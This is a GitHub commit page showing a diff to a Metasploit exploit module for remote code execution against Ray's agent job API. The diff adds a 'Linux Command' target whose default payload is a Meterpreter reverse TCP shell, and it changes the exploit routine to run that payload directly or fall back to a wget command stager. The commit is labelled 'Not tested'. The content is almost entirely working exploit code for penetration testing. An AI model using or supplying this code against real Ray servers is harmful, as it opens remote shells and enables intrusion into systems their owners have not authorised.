Skip to content

Commit 64bdf54

Browse files
committed
Use Fetch Payload (Not tested)
1 parent a5b9d55 commit 64bdf54

File tree

1 file changed

+14
-2
lines changed

1 file changed

+14
-2
lines changed

modules/exploits/linux/http/ray_agent_job_rce.rb

Lines changed: 14 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -38,7 +38,14 @@ def initialize(info = {})
3838
'Targets' => [
3939
[ 'Linux x64', { 'Arch' => ARCH_X64, 'Platform' => 'linux' } ],
4040
[ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ],
41-
[ 'Linux aarch64', { 'Arch' => ARCH_AARCH64, 'Platform' => 'linux' } ]
41+
[ 'Linux aarch64', { 'Arch' => ARCH_AARCH64, 'Platform' => 'linux' } ],
42+
[
43+
'Linux Command', {
44+
'Arch' => [ ARCH_CMD ], 'Platform' => [ 'unix', 'linux' ], 'Type' => :nix_cmd, 'DefaultOptions' => {
45+
'PAYLOAD' => 'cmd/linux/http/x64/meterpreter_reverse_tcp'
46+
}
47+
}
48+
]
4249
],
4350
'DefaultTarget' => 0,
4451
'DisclosureDate' => '2023-11-15',
@@ -99,7 +106,12 @@ def exploit
99106
if @job_data
100107
print_good("Command execution successful. Job ID: '#{@job_data['job_id']}' Submission ID: '#{@job_data['submission_id']}'")
101108
end
102-
execute_cmdstager({ flavor: :wget })
109+
case target['Type']
110+
when :nix_cmd
111+
execute_command(payload.encoded)
112+
else
113+
execute_cmdstager({ flavor: :wget })
114+
end
103115
end
104116

105117
def execute_command(cmd, _opts = {})

0 commit comments

Comments
 (0)